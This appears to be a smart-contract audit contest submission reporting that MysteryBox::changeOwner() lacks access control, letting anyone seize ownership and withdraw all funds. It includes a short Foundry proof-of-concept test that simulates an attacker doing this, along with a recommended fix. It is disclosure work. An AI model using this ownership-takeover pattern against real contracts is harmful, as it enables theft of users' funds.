Submission Details
Severity:
Anyone is able to withdraw all funds from protocol
Summary
Given that MysteryBox::changeOwner() has no access control, anyone can make themselves the owner of the protocol and call MysteryBox::withdrawFunds() for themselves
Vulnerability Details
No access control on MysteryBox::changeOwner(), means that a malicious actor can call MysteryBox::withdrawFunds() in order to steal all funds from the protocol
Impact
All funds can be stolen from the protocol
Proof of Concept
Add to bottom of TestMysteryBox.t.sol
function testAnyoneCanWithdrawAllFundsFromProtocol() public {
address attacker = makeAddr("attacker");
hoax(user1, 1 ether);
mysteryBox.buyBox{value: 0.1 ether}();
vm.startPrank(attacker);
mysteryBox.changeOwner(attacker);
mysteryBox.withdrawFunds();
vm.stopPrank();
}
Tools Used
Manual Review
Recommendations
Add access control to
MysteryBox::changeOwner()
Updates
Appeal created
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
Anyone can change owner
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.